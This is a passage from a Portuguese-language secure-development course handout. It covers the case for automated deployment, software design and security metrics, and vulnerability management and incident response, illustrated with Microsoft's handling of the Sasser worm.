É necessário garantir que, ao longo do tempo, as implementações
tendam a ser totalmente automatizadas, pois:
Implementações que não são totalmente automatizadas, resultam em
maiores erros na execução e maior dificuldade para identificação de
bugs.
Quando o processo de implantação não é automatizado, não é confiável,
levando ao desperdício de tempo na depuração de erros de
implantação.
ProdutivaTI Página 102 de 131
MÓDULO 3 - SDL
TELA 31 (Continuação dos motivos pelos quais testes devem ser automatizados)
Um processo de implantação manual tem de ser documentado; manter
o Documentação é uma tarefa complexa e demorada que envolve a
colaboração entre várias pessoas, o que acaba resultando em
documentação geralmente incompleta ou desatualizadas. Por outro
lado, um conjunto de scripts de implantação automatizados serve como
documentação, e será sempre atualizada e completa, ou a implantação
não funcionará.
As implantações automatizadas incentivam a colaboração, porque tudo
é explícito em um script. Diferentemente de outro tipo de documentação,
o script não tem de fazer suposições sobre o nível de conhecimento do
leitor.
Um corolário do acima: As implementações manuais dependem da
implantação especialista. Se ele ou ela está de férias ou sai de trabalho,
você está em apuros.
TELA 32 (Continuação dos motivos pelos quais testes devem ser automatizados)
Realizar implantações manuais é chato, repetitivo e ainda requer certo
grau de especialização. Pedir a especialistas para fazer algo chato e
repetitivo é uma forma segura de garantir erro humano. Automatizar
implantações libera profissionais caros, altamente qualificados, e quase
sempre sobrecarregados para trabalharem em atividades de maior
valor.
Um processo de implantação manual é frequentemente demorado e
caro. Um processo de implantação automatizado é barato e fácil de
testar.
Antagonistas dizem que um processo manual é mais auditável do que
um automatizado. Acontece que, em um processo manual, não há
garantia de que a documentação seja. Somente um processo
ProdutivaTI Página 103 de 131
MÓDULO 3 - SDL
automatizado é totalmente auditável. O que poderia ser mais auditável
do que um script de implementação de trabalho?
TELA 33 (Continuação dos motivos pelos quais testes devem ser automatizados)
Finalmente, é possível afirmar que a entrega contínua pode e deve ser
uma busca contínua das organizações, pois representam significativo
diferencial competitivo, agregando valor ao negócio. Entretanto, para ser
efetiva, essa busca deve seguir princípios e evitar antipadrões.
Chegamos ao final do Capítulo 8, dedicado a tratar do suporte na
revisão e no desenvolvimento. Ao longo dele você conheceu as ferramentas de
suporte a análise; e o recurso continuous delivery.
TELA 34 (Continuação dos motivos pelos quais testes devem ser automatizados)
Em RESUMO: Ferramentas de suporte à análise => Ver relação da OWASP e do TechCenter de
Segurança da Microsoft. Continuous delivery => forma de desenvolvimento na qual o software pode ser liberado
para produção a qualquer momento.
Integração contínua = continuous integration (CI) => integração e teste de um novo código ao código já existente.
Entrega contínua = continuous delivery (DC) => conjunto de práticas que tem por objetivo garantir que o novo código possa ser imediatamente implantado no ambiente de produção.
Continuous delivery => pressupõe mais agilidade no desenvolvimento de recursos; menos interrupções para o cliente; e teste automatizado.
DevOps => integração, comunicação e cooperação entre Desenvolvimento (de software) e Operações (de TI).
CICD => junção de integração contínua (CI) e entrega contínua (CD). Não existe DevOps sem CICD. Não existe CD sem CI. CD requer seguir princípios e evitar antipadrões.
ProdutivaTI Página 104 de 131
MÓDULO 3 - SDL
ProdutivaTI Página 105 de 131
MÓDULO 3 - SDL
TELA 19. Métricas de Acompanhamento (28 telas)
Como avaliar se o processo adotado por uma empresa para produzir
software é bom ou ruim? Este Capítulo 9 aborda métricas de acompanhamento
para o estabelecimento e para o acompanhamento do processo de
desenvolvimento seguro.
Métrica é um conjunto de medidas. Métricas são indicadores, referências
que nos permitem medir, quantificar, atributos relativos às entidades de
software e ao processo de desenvolvimento.
São importantes instrumentos de avaliação da qualidade do código-
fonte, aplicáveis tanto na produção quanto no acompanhamento do projeto. A
partir delas é possível propor a melhoria do processo de desenvolvimento e
gestão do software.
TELA 2Mesmo sendo difícil medir, com precisão, a segurança de um software,
existem métricas voltadas a representar claramente essa segurança. Elas
variam da amplitude do treinamento dado à equipe de engenharia de
segurança (no início do ciclo de vida do desenvolvimento) até a taxa das
vulnerabilidades descobertas no produto lançado.
A Microsoft criou um conjunto de métricas de segurança que pode ser
utilizado pelas equipes de produto para monitorar o êxito da implementação do
SDL. Elas abrangem a implementação da equipe do SDL desde a modelagem
de ameaças; a revisão do código e os testes de segurança até a segurança do
software apresentado para a FSR.
TELA 3É fundamental que todos os envolvidos no desenvolvimento do software
tenham conhecimento das vunerabilidades e meios de detectá-las; habilidades
de concepção de design para favorecer a segurança; conhecimentos quanto ao
uso de metas e indicadores em processo de apoio à segurança e qualidade;
desenvoltura para medição do código-fonte e seu uso para auxiliar as tomadas
de decisões; etc.
ProdutivaTI Página 106 de 131
MÓDULO 3 - SDL
TELA 4Ocorre que o uso de métricas não é uma tarefa fácil. Seja pela
complexidade de escolher a medição mais adequada; seja pelo
estabelecimento da rotina de coleta a ser utilizada; seja pela difícil
compreensão e interpretação do significado de valores obtidos; utilizar métricas
envolve fatores que acabam por desmotivar seu uso para o monitoramento do
código e do resultado de aplicativos.
Exatamente por isso é preciso buscar o melhoramento contínuo das
soluções de medições. Medir processos, produtos e recursos de software são
importantes para: caracterizar; avaliar; prever; aperfeiçoar processos e
recursos de qualidade.
TELA 5Na engenharia de software são realizadas medidas e criadas métricas
para obter indicadores. É importante diferenciar esses conceitos no âmbito da
engenharia de software:
Medida é um valor real de um atributo (corresponde à quantidade,
dimensão, capacidade ou tamanho). Exemplo: número de erros encontrados.
Métrica é um conjunto de medidas ao qual se procura atribuir algum
sentido. Exemplo: erros cometidos por transação durante 24 horas de
funcionamento do software.
Indicador é uma métrica, ou conjunto de métricas, que fornece
compreensão de um processo de software, de um projeto de software ou do
produto propriamente dito. Exemplo: comparando-se métricas, chega-se à
conclusão de que pode haver falhas nos processos que suportam a Transação
X.
TELA 6Possivelmente você já tenha ouvido falar em medidas de qualidade (de
projeto, de design, ou de estabelecimento do processo), assim como em
medidas de produtividade (de produção, de resultado, ou de acompanhamento
do processo). A importância das métricas independe da variação dos nomes ou
destinação.
Métricas para estabelecimento do processo, também chamadas de
indicadores de projeto, permitem à organização de engenharia de software ter
ProdutivaTI Página 107 de 131
MÓDULO 3 - SDL
idéia da eficácia de um determinado processo existente. Enquanto as métricas
para acompanhamento do processo, conhecidas como indicadores de
processo, tentam identificar problemas que atingem o produto resultante do
projeto. Ambas são extraídas do processo de software e serão tratadas a
seguir.
TELA 7
9.1. Métricas para o estabelecimento do processo
São conhecidas como métricas de projeto, de design, ou indicadores de
projeto, pois permitem estabelecer esse tipo de indicadores e:
avaliar o status de um projeto em andamento;
acompanhar riscos potenciais;
prever áreas com problemas antes que elas se tornem críticas;
ajustar o fluxo de trabalho ou tarefas;
avaliar a capacidade da equipe de projeto e controlar a qualidade dos
produtos do processo de software.
TELA 8
Medidas de projeto de software têm função essencialmente tática, pois
elas e os indicadores que dela derivam são usados pelo gerente de projeto e
pela equipe de software para ajustar o fluxo de trabalho e as atividades do
projeto:
Estimativas - no início do projeto, são usadas métricas coletadas de
projetos anteriores, que servirão de base para estimativas
de esforço e de tempo a serem despendidos no projeto.
Progressos - à medida que o projeto prossegue, esforço e tempo
efetivamente despendidos são comparados com métricas de
estimativas, permitindo monitorar e controlar o progresso.
ProdutivaTI Página 108 de 131
MÓDULO 3 - SDL
Evolução - ao longo do trabalho técnico, é importante incorporar
outras métricas de projeto, como a as que permitem indicadores de
taxa de produção, representada em termos de páginas de
documentação, horas de revisão, pontos-por-função e linhas de
código fonte entregue.
TELA 9
Métricas de projeto possuem duplo objetivo, pois:
permitem minimizar o cronograma de desenvolvimento, em
decorrência de ajustes capazes de diminuir atrasos, problemas e
riscos.
possibilitam avaliar a qualidade do produto durante sua evolução e,
se necessário ajustar a abordagem técnica para aperfeiçoar a
qualidade.
Como resultado, pode-se alcançar a diminuição do custo total do projeto,
pois, à medida que a qualidade é aperfeiçoada, os defeitos são minimizados, e
a quantidade de retrabalho durante o projeto é também reduzida.
TELA 10Métricas de projeto podem ter características variadas. Duas das
categorias mais utilizadas são as 'orientadas a função' e as 'orientadas ao
tamanho'. Falemos um pouco desta última.
Métricas orientads a tamanho têm origem na normalização das medidas
de qualidade e/ou produtividade, considerando o tamanho do software que foi
produzido. Não são universalmente aceitas como o melhor modo de medir o
processo de desenvolvimento de software, pois mudam conforme a linguagem
adotada e o estilo de programação. Mesmo assim podem ser bastante válidas
em projetos específicos.
TELA 11Tomemos como exemplo uma situação em que se adote por medida-
base a quantidade de linhas de código-fonte (LOC). Em seguida, pode-se
definir as seguintes métricas simples orientadas ao tamanho de um projeto:
ProdutivaTI Página 109 de 131
MÓDULO 3 - SDL
Erros por KLOC (milhares de Linhas de Código Fonte);
Defeitos por KLOC;
R$ por LOC (estimado…);
Páginas de documentação por KLOC;
Nesse mesmo caso, outras métricas relevantes poderiam ser definidas,
mas não necessariamente orientadas ao tamanho do projeto:
Erros por pessoa-mês;
LOC por pessoa-mês;
Custo por página de documentação (estimado…);
TELA 12
Vale observar que, em alguns casos, as mesmas métricas de software
podem ser usadas para determinar indicadores de projeto e de processo de
software. Ou seja, elas podem ser consideradas tanto como métricas de
estabelecimento quanto de acompanhamento de processo de software.
Em seguida, apresentamos diversas métricas que estão diretamente
relacionadas ao design de software. Decorrentes de levantamento feito por
Bezerra e Del Esposte (2014), elas mensuram atributos do como tamanho e
complexidade do software e foram selecionadas por serem facilmente
aplicáveis como métricas de código-fonte.
TELA 13
Inicialmente são apresentadas métricas relacionados a tamanho que,
conforme acabamos de exemplificar, são importantes para a composição de
outras métricas capazes de medir outras características do código-fonte:
LOC (Lines of Codes - Linhas de Código): LOC calcula o número
de linhas executáveis, desconsiderando linhas em branco e
comentários.
Total Number of Modules or Classes (Número Total de Módulos
ou Classes): mensura o tamanho do software baseado na
ProdutivaTI Página 110 de 131
MÓDULO 3 - SDL
quantidade de módulos e classes, sendo menos sensível à
linguagens de programação, nível de desenvolvedores e estilo de
codificação.
AMLOC (Average Method LOC - Média de Número de Linhas de
Código por Método): avalia a distribuição do código entre os
métodos, sendo uma importante indicador de coesão, reutilização
e outras características importantes. Entretanto, assim como a
LOC, é dependente de linguagem e estilo de programação.
TELA 14
As próximas métricas apresentadas avaliam atributos estruturais do
software. São importantes para a compreensão do nível da qualidade do
design, principalmente manutenibilidade, flexibilidade e testabilidade.
NOA (Number of Attributes - Número de Atributos): calcula o
número de atributos de uma classe, permitindo avaliar a coesão.
Total Number of Modules or Classes (Número Total de Módulos
ou Classes): mensura o tamanho do software com base na
quantidade de módulos e classes, sendo menos sensível à
linguagem e ao estilo de codificação.
NOM (Number of Methods - Número de Métodos): refere-se ao
tamanho de uma classe medindo a quantidade de operações que
ela tem. Considerada como métrica de interpretação complexa.
TELA 15 (continuação de métricas de atributos estruturais do software)
NPA (Number of Public Attributes - Número de Atributos
Públicos): mede basicamente o encapsulamento de uma classe,
valor que deve ser o mais baixo possível.
NPM (Number of Public Methods - Número de Métodos Públicos):
muito importante para a compreensão da abstração da classe,
pois mede diretamente o tamanho da interface de acesso à
ProdutivaTI Página 111 de 131
MÓDULO 3 - SDL
mesma. Utilizada para compreender o potencial de reusabilidade
e coesão de uma classe.
ANPM (Average Number of Parameters per Method - Média de
Parâmetros por Método): calcula a média de parâmetros dos
métodos da classe, onde não se deseja um valor alto.
TELA 16 (continuação de métricas de atributos estruturais do software)
MNPM (Maximum Number of Parameters per Method - Número
Má- ximo de Parâmetros por Método): corresponde à maior
ocorrência de número de parâmetros dos métodos de uma classe.
DIT (Depth of Inheritance Tree - Profundidade da Árvore de
Herança): consiste no número de classes ancestrais da classe em
análise, sem considerar heranças provindas de frameworks ou
bibliotecas. Para linguagens com herança múltipla, o valor desta
métrica é o DIT da maior hierarquia.
NOC (Number of Children - Número de Filhos): NOC consiste no
número de filhos direto de uma classe.
ACCM (Average Cyclomatic Complexity per Method - Média da
Complexidade Ciclomática por Método): Esta métrica mede a
complexidade média dos métodos de uma classe, baseando-se
na complexidade dos fluxos de controle existente no método.
TELAS 17 e 18
As métricas seguintes medem características variadas, como
complexidade de classes, coesão e acoplamento.
RFC (Response For a Class - Resposta de uma Classe): mede a
complexidade de uma classe contando o número de métodos que
um objeto de uma classe pode invocar, tanto métodos internos
quanto de outras classes.
ProdutivaTI Página 112 de 131
MÓDULO 3 - SDL
ACC (Afferent Connections per Class - Conexões Aferentes por
Classe): mede a conectividade de uma classe a partir da
contagem de quantas classes do sistema acessam um atributo ou
método da classe em análise.
CBO (Coupling Between Objects - Acoplamento Entre Objetos): é
a recíproca da ACC; calcula o número de dependência de classes
de uma classe específica em análise.
COF (Coupling Factor - Fator de Acoplamento): esta métrica é a
razão entre o número acoplamento existente que não sejam
provindos de herança e do número total de possíveis
acoplamentos.
LCOM4 (Lack of Cohesion in Methods - Ausência de Coesões em
Métodos): calcula o número de componentes conectados em uma
classe.
TELA 19
9.2. Métricas para o acompanhamento do processo
Métricas para acompanhamento do processo, métricas de resultado,
métricas de segurança, ou métricas de processo de software são termos
sinônimos. Eles designam métricas usadas com finalidade estratégica, pois
viabilizam a obtenção de indicadores que permitem ter idéia da eficácia de um
processo existente:
avaliando o que funciona, ou não;
sendo coletadas ao longo de todos os projetos e durante longos
períodos;
favorecendo o aperfeiçoamento do processo de software a longo
prazo.
ProdutivaTI Página 113 de 131
MÓDULO 3 - SDL
TELA 20
Assim como no caso das métricas de design de software já mostradas,
existe grande variedade de métricas de processo. São ferramentas de análise
estática que utilizam técnicas de detecção para encontrar tipos específicos de
vulnerabilidades e quantificar o seu número de ocorrências. Ferramentas de
análise estáticas podem fornecer, por exemplo, as seguintes métricas
relacionadas a vulnerabilidades:
número total de vulnerabilidades no projeto;
número de vulnerabilidades por arquivo;
número de vulnerabilidades por função;
quantidade de vulnerabilidade especifica no projeto;
quantidade de vulnerabilidade especifica por arquivo;
TELA 21
Da mesma forma que as métricas de projeto, métricas de software
podem ter variada classificação.
Entre os tipos mais conhecidos estão as métricas orientada a objetos;
para avaliar a coesão de classes; hierarquias de classes existentes; nível de
acoplamento entre classes; e de reuso de código.
A seguir, uma relação de métricas (a partir das vulnerabilidades
identificadas).
TELA 22
Também elencadas por Bezerra e Del Esposte (2014), tais
vulnerabilidades podem ser encontradas e quantificadas por ferramentas de
análise estática de código para linguagem C e C++.
UAV(Uninitialized Argument Value - Varíavel não inicializada): identifica as
variáveis não inicializadas no código.
ProdutivaTI Página 114 de 131
MÓDULO 3 - SDL
RSVA (Return of stack variable address - Retorno de endereço de uma
variável de pilha): acontece quando uma função retorna um endereço para
uma variável que está alocada na pilha (stack).
PITFC (Potential insecure temporary file in call "mktemp" - Arquivo
temporário pontencialmente inseguro pelo uso da chamada "mktemp"):
ocorre quando um arquivo temporário inseguro é criado e usado pela
aplicação, tornando a aplicação e o sistema de dados vuneráveis a ataques.
TELA 23 (Continuação das métricas para acompanhamento de processo)
FGBO (Potential buffer overflow in call to "gets" - Possível Buffer Overflow
ao chamar a função "gets"): está relacionada ao uso da função "gets" da
linguagem C que copia toda informação passada pela entrada do programa
para um buffer sem checar se o tamanho da entrada é equivalente ao
tamanho do buffer. Caso a entrada seja maior que o buffer, haverá a
sobrescrita da memória adjacente, o que pode resultar em comportamento
errado do programa.
ASOM (Allocator sizeof operand mismatch - Operador de alocação de sizeof
não correspondente): consiste em passar o operador inadequado para o
tamanho de uma alocação de memória.
DUPV (Dereference of undefined pointer value - Acessar o valor de um
ponteiro não definido): ocorre quando um ponteiro que não foi inicializado é
acessado.
TELA 24 (Continuação das métricas para estabelecimento de processo)
DBZ (Divisions by zero - Divisão por zero): acontece quando existe uma
divisão de um valor por zero; o que faz com que o programa pare de
funcionar.
MLK (Memory leak - Estouro de memória): O software não gerencia o uso
de memória, podendo resultar em consumo excessivo e falta de memória
para a aplicação.
OBAA (Out-of-bound array access - Acesso de posição de um array fora do
range): acontece quando a aplicação tenta acessar um indice de array que
ProdutivaTI Página 115 de 131
MÓDULO 3 - SDL
está fora de seu range.
TELA 25 (Continuação das métricas para estabelecimento de processo)
DF (Double free - Liberar memória duas vezes): ocorre na linguagem C,
quando o programa realiza a chamada free() duas vezes para o mesmo
ponteiro, o que pode corromper a estrutura de dados do programa que
gerencia a memória.
AUV (Assigned value is garbage or undefined - Valor atribuído é lixo ou
indefinido: ocorre quando não temos certeza que o valor atribuido existe,
normalmente acontece quando uma variável recebe um valor cuja origem
vem de entrada do usuário no sistema.
TELA 26Com a relação de métricas de software, concluímos o item 9.2. Métricas
para o acompanhamento do processo que, juntamente com o tópico 9.1.
Métricas para o estabelecimento do processo, encerram mais uma unidade de
aprendizagem.
Neste Capítulo 9 você tomou conhecimento das métricas de
acompanhamento para o estabelecimento e para o acompanhamento do
processo de desenvolvimento seguro.
TELAS 27 e 28
Em RESUMO: Métrica => conjunto de medidas, referências que nos permitem produzir indicadores
para medir, quantificar, atributos. Medir processos, produtos e recursos de software => são importantes para
caracterizar; avaliar; prever; aperfeiçoar processos e recursos de segurança e qualidade.
Medida => valor real de um atributo (corresponde à quantidade, dimensão, capacidade ou tamanho).
Métrica => conjunto de medidas ao qual se procura atribuir algum sentido. Indicador => métrica, ou conjunto de métricas, que fornece compreensão de um
processo de software, de um projeto de software ou do produto. Métricas para o estabelecimento do processo => de projeto, de design, de software,
indicadores de projeto.
ProdutivaTI Página 116 de 131
MÓDULO 3 - SDL
Métricas para o estabelecimento do processo => função tática; usadas para ajustar fluzo de trabalho e atividades do projeto.
Métricas para o acompanhamento do processo => de resultado, de segurança, ou métricas de processo, ou indicadores de processo.
Métricas para o acompanhamento do processo => usadas com finalidade estratégica, pois viabilizam a obtenção de indicadores que permitem ter idéia da eficácia de um processo.
ProdutivaTI Página 117 de 131
MÓDULO 3 - SDL
TELA 1
10. Gestão de Vulnerabilidades e Resposta à Incidentes de Segurança (22 telas)
O Capítulo 10 discorre sobre a gestão de vulnerabilidades e resposta à
incidentes de segurança, dividindo a abordagem em dois tópicos, que você
verá ao longo desta unidade de aprendizagem:
o processo de resposta a incidentes de segurança; e
o papel da gestão de vulnerabilidades.
TELA 2
Conforme temos visto ao longo deste Curso, autenticação, autorização,
auditoria, confidencialidade, integridade e disponibilidade são alguns dos mais
importantes fundamentos da segurança.
Aprendemos, também, que quando pensamos em segurança, devemos
primeiro conhecer as distinções entre ameaças, ataques e vulnerabilidades.
Tomamos conhecimento de que, para desenvolver serviços seguros, é
indispensável identificar objetivos de segurança; modelar ameaças e tratar
vulnerabilidades; aplicar princípios, padrões e práticas; e usar técnicas de
engenharia de segurança durante todo o ciclo de vida do aplicativo.
TELA 3Segundo a norma ABNT NBR ISO/IEC 27001:2006:
Gestão de vulnerabilidades técnicas tem por objetivo reduzir riscos
resultantes da exploração de vulnerabilidades técnicas conhecidas
(A.12.6) e
Controle de vulnerabilidades técnicas rquer que a informação seja
obtida em tempo hábil sobre vulnerabilidades técnicas dos sistemas
de informação em uso, avaliada a exposição da organização a estas
vulnerabilidades e tomadas as medidas apropriadas para lidar com
os riscos associados (A.12.61.1).
ProdutivaTI Página 118 de 131
MÓDULO 3 - SDL
Tudo o que vimos até o momento deixa evidente que softwares e
serviços precisam ser mantidos, como um processo contínuo de busca da
segurança, de nada valendo se forem tratados apenas pontualmente.
Segurança é algo que, mesmo depois de implantada, requer a gestão de
vulnerabilidades e resposta à incidentes críticos, que abordaremos a seguir.
TELA 4
10.1. O Processo de Resposta a Incidentes de Segurança
Ainda segundo a norma ABNT NBR ISO/IEC 27001:2006, A.13, a gestão
de incidentes de segurança da informação envolve:
A.13.1 Notificação de fragilidades e eventos de segurança da
informação, que tem por objetivo assegurar que fragilidades e eventos
de segurança da informação associados com sistemas de informação
sejam comunicados, permitindo a tomada de ação corretiva em tempo
hábil.
A.13.1.1 Notificação de eventos de segurança da informação através
dos canais apropriados da direção, o mais rapidamente possível.
A.13.1.2 Notificação de fragilidades de segurança da informação, por
funcionários, fornecedores e terceiros de sistemas e serviços de
informação, que devem ser instruídos a registrar e notificar qualquer
observação ou suspeita de fragilidade em sistemas ou serviços.
TELA 5 (continuação - normas sobre gestão de incidentes de segurança)
A.13.2 Gestão de incidentes de segurança da informação e melhorias
para assegurar que um enfoque consistente e efetivo seja aplicado à
gestão de incidentes de segurança da informação.
A.13.2.1 Responsabilidades e procedimentos de gestão, que devem ser
estabelecidos para assegurar respostas rápidas, efetivas e ordenadas a
incidentes de segurança da informação.
ProdutivaTI Página 119 de 131
MÓDULO 3 - SDL
A.13.2.2 Aprender com os incidentes de segurança da informação, por
meio de mecanismos estabelecidos para permitir que tipos, quantidades
e custos dos incidentes de segurança da informação sejam
quantificados e monitorados.
A.13.2.3 Coleta de evidências, nos casos em que uma ação de
acompanhamento contra uma pessoa ou organização, após um
incidente de segurança da informação, envolver uma ação legal (civil ou
criminal), evidências devem ser coletadas, armazenadas e apresentadas
em conformidade com as normas de armazenamento de evidências da
jurisdição ou jurisdições pertinentes.
TELA 6
As recomendações da ABNT NBR ISO/IEC 27001:2006 são cumpridas
pela abordagem da Microsoft, que tem usado com sucesso o SSIRP (Software
Security Incident Response Process) como processo de resposta a incidente
de segurança de software.
O SSIRP tem ajudado o Microsoft Secutrity Response Center (MSRC) a
para responder a muitos incidentes de segurança publicados, como o Sasser,
Download.ject, e Mydoom. Além de remediar muitos incidentes menos
conhecidos. Em seguida, apresentamos uma descrição das fases do SSIRP e
de como o MSRC usou esse processo em resposta ao Sasser.
TELA 7O processo de resposta a incidente de segurança de software SSIRP é
constituído pelas seguintes fases:
Verificar;
Alertar e mobilizar recursos;
Avaliar e estabilizar;
Resolver;
Melhorias contínuas ao processo.
ATENÇÃO!
ProdutivaTI Página 120 de 131
MÓDULO 3 - SDL
Tendo em vista seus aspectos práticos, o conteúdo desta unidade de aprendizagem foi essencialmente obtido a partir de orientações e cases disponíveis na página do Microsoft Security Response Center (MSRC). O MSRC é um centro líder de gerenciamento e análise de riscos de segurança, cujo repositório web é importante recurso para desenvolvedores e equipes de segurança. Saiba mais em: <https://www.microsoft.com/brasil/security/Msrc/default.mspx>.
TELA 8A fase Verificar
Sempre que o MSRC lança uma atualização de segurança,
desencadeia-se entre seus parceiros uma verificação cuidadosa, buscando os
sinais maliciosos dos que tentam explorar usuários que nunca aplicaram a
atualização ou uma solução alternativa.
Por isso, o MSRC mantém uma coordenação sólida com os parceiros de
mercado, como a VIA (Virus Information Alliance), os ISVs (fornecedores de
software independentes), os ISPs (Provedores de Serviço de Internet) por meio
do programa GIAIS, os OEMs (fabricantes de equipamentos originais) e as
organizações governamentais.
TELA 9 (continuação - a fase Verificar)Tal cooperação ajuda o MSRC a garantir uma originária de múltiplos
fornecedores, para o caso de um incidente de segurança, certificando-se de
que ela possa remediar as vulnerabilidades em todos os produtos afetados, e
não só os da Microsoft.
Permite, também, que durante um incidente de segurança, o MSRC
possa fornecer e compartilhar informações com os parceiros, a fim de melhor
entender o impacto total de um incidente de segurança em dada situação.
Para ilustrar, todas as fases do processo, tomemos a ocorrência iniciada
em 13 de Abril de 2004, quando a Microsoft lançou boletins de segurança para
aquele mês, incluindo o MS04-011, uma atualização que remediou 14
diferentes vulnerabilidades no mesmo conjunto de arquivos.
ProdutivaTI Página 121 de 131
MÓDULO 3 - SDL
TELA 10Feita a publicação, o MSRC e seus parceiros começaram a monitorar de
perto as linhas de suporte ao cliente, os grupos de notícias, as atividades da
comunidade e as dúvidas da imprensa.
No mesmo dia, o pesquisador que, originalmente, forneceu as
informações sobre uma vulnerabilidade remediada no MS04-011 lançou uma
descrição técnica detalhada separada. Como resultado, o MSRC entrou em
uma fase ainda maior de verificação.
Já que a vulnerabilidade específica que o MS04-011 apontou poderia
causar uma falha no Local Security Authority Subsystem Service (LSASS), um
dos processos responsáveis pela garantia dos mecanismos de segurança do
Microsoft Windows, a equipe começou a verificar mais de perto as falhas do
serviço LSASS.
No final de abril, o primeiro código de comprovação, que demonstrou
como a vulnerabilidade poderia ser explorada, foi disponibilizado online.
TELA 11Alertar e Mobilizar Recursos
Em 29 de abril, o Product Support Services (PSS) percebeu um aumento
repentino nas chamadas e nas falhas ao LSASS. Além disso, duas variantes do
código de comprovação, agora batizada de "Sasser", foram reportadas.
Naquele momento, o PSS imediatamente percebeu o MSRC, que
instantaneamente gerou a fase de Alertar e Mobilizar Recursos do SSIRP.
O MSRC anunciou mundialmente os primeiros respondentes, que se
dividiram rapidamente em duas equipes para avaliar a severidade e obter um
entendimento mais abrangente da situação: a Equipe de Engenharia
Emergencial e de Comunicações Emergenciais.
TELA 12Avaliar e Estabilizar
A Equipe de Engenharia Emergencial iniciou imediatamente sua
investigação, testando as variantes do Sasser de acordo com a atualização
MS04-011 para garantir que a atualização protegesse essa exploração
ProdutivaTI Página 122 de 131
MÓDULO 3 - SDL
específica. Começou, também, a testar as soluções alternativas listadas no
boletim para garantir que elas fossem efetivas contra o Sasser.
Como o MSRC já havia apontado a vulnerabilidade em uma atualização
de software, as principais instruções iniciais para os usuários foram voltadas a
aplicar imediatamente a atualização.
Dentro de alguns minutos, a Equipe de Comunicações Emergenciais já
havia disponibilizado essas e outras informações iniciais sobre as áreas
cuidadosamente selecionadas do site da Microsoft.com.
TELA 13 (continuação - Avaliar e Estabilizar)Além disso, a equipe criou uma página de resposta de incidentes dentro
da seção de Segurança do Microsoft.com, incluindo essas informações.
Para ajudar os clientes a lidar com essa ameaça, a Equipe de
Comunicações Emergenciais também disponibilizou anúncios na rede para
alertar os usuários quanto ao problema e para direcioná-los a mais
informações, fornecendo também informações prescritivas por todas as fases
remanescentes do processo de resposta ao incidente.
Durante o processo, a organização de Vendas, Marketing e Serviços da
Microsoft recebeu informações importantes sobre a situação e algumas
instruções específicas sobre o contato com vários participantes. Alertas de e-
mail também foram enviados aos assinantes, por meio de um serviço de
notificação de segurança.
TELA 14 (continuação - Avaliar e Estabilizar)A Equipe de Comunicações Emergenciais também trabalhou, de
maneira sólida, com os parceiros para comparar as informações sobre como o
Sasser vinha se disseminando. Dentro de quatro horas, o MSRC preparou as
principais descobertas para uso do PSS, portanto, a equipe já poderia oferecer
boas instruções aos clientes.
A equipe também forneceu essas informações, juntamente com scripts
de chamadas ao suporte e conteúdos oficiais da Web, ao GIAIS e aos
parceiros da VIA, para ajudá-los a informar outros clientes.
Para estabilizar ainda mais a situação, a Equipe de Engenharia
Emergencial começou rapidamente a trabalhar sobre uma ferramenta mais
ProdutivaTI Página 123 de 131
MÓDULO 3 - SDL
adequada para remover dos sistemas infectados o Sasser e quaisquer de suas
variantes. Em 3 de maio, o MSRC lançou o Sasser Worm Removal Tool v1.0
na Central de Downloads Microsoft. Finalmente, a ferramenta de remoção foi
disponibilizada no site do Windows Update. As tentativas da equipe de avaliar e
estabilizar os efeitos do incidente Sasser levaram apenas quatro dias.
TELA 15Resolver
De 4 a 10 de maio de 2004, a Sasser Worm Removal Tool foi a chave
para uma tentativa em massa, de clientes e parceiros, de ajudar a limpar e a
restaurar os sistemas infectados. Durante esse período, o MSRC também
apresentou um Sasser Technical Webcast, disponibilizou online os chats de
suporte e atualizou os sites da Microsoft. A partir de então, a Microsoft atualiza,
continuamente, a ferramenta de remoção para buscar novas variantes do
Sasser.
Depois de resolver o incidente Sasser, o MSRC conduziu uma avaliação
interna de toda a tentativa de resposta para reforçar aquilo que foi bem e para
aprimorar o processo de futuras tentativas de resposta. Essa fase do incidente
Sasser, que é uma prática padrão para um incidente de segurança, trouxe
ainda mais melhorias ao processo. Como resultado, o MSRC desenvolveu um
processo mundial mais maduro e repetitivo.
TELA 16Melhorias Contínuas ao Processo
Da fase inicial de Alertas até a fase final de Resolver do incidente
Sasser, o MSRC forneceu informações adequadas e relevantes, além de
recursos para proteger os clientes.
A vigilância durante as primeiras duas semanas da fase Verificar, as
comunicações agressivas para instruir os clientes a implantar a atualização o
mais rápido possível e o total entendimento de como seria um ataque do
LSASS fizeram com que o MSRC identificasse e estabilizasse a ameaça
Sasser antes de ela sair do controle.
ProdutivaTI Página 124 de 131
MÓDULO 3 - SDL
TELA 17Adicionalmente, por meio da campanha Proteja Seu PC, introduzida
após o incidente Blaster, a equipe de Comunicações pôde incentivar os clientes
a ativar as Atualizações Automáticas, diminuindo assim o impacto do Sasser.
Notavelmente, o MSRC pôde trabalhar durante todas as fases subseqüentes
do SSIRP em apenas 5 dias—uma grande melhoria com relação aos incidentes
anteriores com potencial de impacto semelhante, como o incidente Blaster, que
precisou de 38 dias do início ao fim.
Mesmo com essa grande melhoria, o MSRC está em constante alerta
para ser cada vez mais proativo, dinamizar seus processos e desenvolver
planos para que diversos públicos ajudem os clientes a se manter protegidos,
recuperando sempre as operações durante futuros incidentes de segurança.
TELA 18
10.2. O Papel da Gestão de Vulnerabilidades
O case que acamos de descrever, com detalhes do ataque do Sasser
sobre o LSASS, é suficiente, por si só, para evidenciar o importante papel da
gestão de vulnerabilidades. Já não restam dúvidas sobre a importância de
manter os sistemas atualizados, o monitoramento, e a boa comunicação entre
as equipes de segurança, fornecedores e clientes.
Em termos de segurança na gestão de vulnerabilidades, a indústria de
software vem percorrendo um longo caminho. Esse roteiros passam pelo
desenvolvimento de processos de controle; pelas atualizações de segurança
fornecidas pelos fornecedores; pela intensiva busca por processos maduros,
sem desprezar a necessidade de atualizar seus ambientes de segurança.
TELA 19Nesse contexto, o MSRC tem a responsabilidade de limitar os efeitos
dos potenciais problemas de segurança. E faz isso, propondo algumas práticas
ProdutivaTI Página 125 de 131
MÓDULO 3 - SDL
de segurança, quase todas relacionads à informação quanto aos problemas
existentes e à garantia de atualização de software sempre atualizado.
Em sua página na internet, o MSRC discute a gestão de vulnerabilidades
e incidentes de segurança, a partir de duas abordagens, que transcrevemos a
seguir:
O que você pode fazer para ajudar a gerenciar as vulnerabilidades de
segurança
O que fazer quando ocorrer um incidente de segurança
TELA 20 O que você pode fazer para ajudar a gerenciar as vulnerabilidades de
segurança
Reporte as vulnerabilidades de segurança mais suspeitas.
Cadastre-se para receber notificações sobre as atualizações de
segurança (defina preferências para receber alertas por email, ou por
